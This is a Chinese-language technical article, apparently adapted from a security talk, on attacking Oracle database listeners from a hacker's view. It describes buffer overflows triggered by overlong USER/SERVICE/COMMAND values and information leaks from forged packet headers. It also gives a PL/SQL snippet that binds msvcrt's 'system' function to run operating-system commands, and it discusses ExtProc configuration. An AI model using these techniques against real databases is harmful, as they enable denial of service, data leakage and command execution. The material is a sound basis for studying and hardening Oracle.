技术开发 频道

从黑客角度检验oracle数据库

   三 listener attacke demo

    1 缓冲区溢出:
    覆盖堆栈的内存,执行恶意的代码。监听服务的缓冲区溢出:

    1) 一个连接字符串的例子:
    – (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HO
    ST=)(USER=))(COMMAND=status) (SERVICE=LIST80)(VERSION=135294976)))

    2) 寻找缓冲区溢出:
    改变适当的值看看会发生什么情况
    – Try USER= with 4,000 Xs after it
    – Try SERVICE= with 4000 Xs after it
    – Etc…

    黑客是如何发现缓冲区溢出的:
    当一个命令发生到监听服务时,黑客试图在连接字符中加很长的字符串,例如发生USER=一个很上的字符串。如果数据库开发人员只为username分配了一个1024字节长的单元,当发送超过了1024个字节,其他的字符将覆盖后边的单元。所以程序要能自能的对长度进行检查。

    2 监听器服务缓冲区溢出
    i) Oracle 8.1.7
    发生1k的字节COMMAND= dwon机
    超过4k会使系统崩溃。
    ii) oracle 9.0.1
    发生1k的字节SERVICE=

    3 利用报头区的值

    典型的命令:
    – .T.......6.,...............:................4.............(CONNECT_DATA=.)
    垃圾字符描述了报头的信息
    – Offset to data
    – Size of connection string
    – Size of packet
    – Type of packet

    4 窃取监听命令
    发生一下的命令:
    – .T.......6.,...............:................4.............(CONNECT_DATA=.)
    改变报头表明40字节
    – ......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_
    STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DAT
    A=.)ervices))CONNECT'))(ERROR=(CODE=3 03)(EMFI=1))))
    改变报头表明200字节
    – ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)
    (ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNE
    CT_DATA=.)ervices))CONNECT_DATA=(SID=orcl)(global_dbname=te
    st.com)(CID=(PROGRAM=C:\Oracle\bin\sqlplus.exe)(HOST=anewman)
    (USER=aaron))')) (ERROR=(CODE=303)(EMFI=1))))

    如果你伪造数据包的大小,监听将随意返回任何数据在它的命令字符中将超过你发生的字符长。例如一个用户上交了100字符的命令,而对你的返回要10字符,监听将先返回10字符对你的原先的拷贝,但这样的返回不会终结,还会返回90个先前命令的字符。可以获得username,当然这样是难的,不过这样的危险还是存在的。

    6 外部程序
    动态库和共享lib中的函数能被pl/sql调用的通过创建lib和packages进行设置:
    – CREATE LIBRARY test AS ‘msvcrt,dll’;
    CREATE PACKAGE test_function IS PROCEDURE
    exec(command IN CHAR);
    CREATE PACKAGE BODY test_function IS
    PROCEDURE exec(command IN CHAR)
    IS EXTERNAL NAME “system”
    LIBRARY test;
    有许多安去问题和外部服务进程有关,Xprocs允许在oracle中创建函数,参照DLL或共享库文件在操作系统上。这个很强的特性使得数据库能任何操作系统可以做得事情。当然权利越大责任也越大。创建一个Xproc可以指向操作系统的任何一个dll,使得你可以执行操作系统的命令。同样象获得数据库服务器的资源那样,来获得系统资源。第一关心的是你有没有给一个用户creat library和create procedure的特权。

    7 远程回调外部进程
    非‘正式’支持
    但它很有效
    ExtPorcs 是监听的另一个连接点
    – SID_LIST_LISTENER =
    – (SID_LIST =
    – (SID_DESC =
    – (SID_NAME = PLSExtProc)
    – (ORACLE_HOME = E:\oracle\ora81)
    -(PROGRAM = extproc)
    ExtProc任何审核一个用户
    ――它是无效的!!!!!

    8 默认设置-对外进程
    自动配置
    -Oracle 8i –YES
    -Oracle 9i-NO
    Call listener
    -Do not create ExtProc as another listener endpoint
    -Create its own entry in the listener.ora file

0
相关文章